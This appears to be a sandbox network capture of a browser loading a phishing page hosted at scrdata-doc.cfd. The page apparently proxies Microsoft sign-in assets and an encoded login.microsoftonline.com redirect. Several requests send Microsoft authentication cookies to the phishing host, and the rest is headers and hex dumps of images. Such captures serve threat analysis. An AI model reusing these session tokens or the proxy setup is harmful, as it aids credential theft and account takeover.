buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:36 UTC	744	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:35 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 781c2acf-201e-0058-1d7f-92debc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123735Z-16f6b7d4654nf72zt97duex7zw00000005a0000000000ndq x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 12:37:36 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-26 12:37:36 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49755	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:35 UTC	2808	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:36 UTC	784	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:35 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 61012925-d01e-005f-17dc-940fb2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123735Z-17949d758744klpwm4wxazfr6n0000000aw000000000698s x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 12:37:36 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49757	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:35 UTC	2817	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:36 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:36 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: 77152afa-e01e-0068-3dcb-97ffad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123736Z-17949d75874xmj2n0hntqgdths00000008q0000000001aae x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 12:37:36 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49754	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:36 UTC	2811	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:37 UTC	763	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:36 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: 519927a5-901e-005b-34cb-97a3ba000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123736Z-17859dc676b6dmfqzsff11v9sc000000042g00000001pscy x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 12:37:37 UTC	15621	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-04-26 12:37:37 UTC	1832	IN	Data Raw: 45 41 44 01 40 00 04 11 40 00 01 00 14 01 40 00 00 10 01 40 14 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 Data Ascii: EAD@@@@@PEPmEPHEPDQQ@@@TPB( (("(( ( " * (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49751	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:36 UTC	2805	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi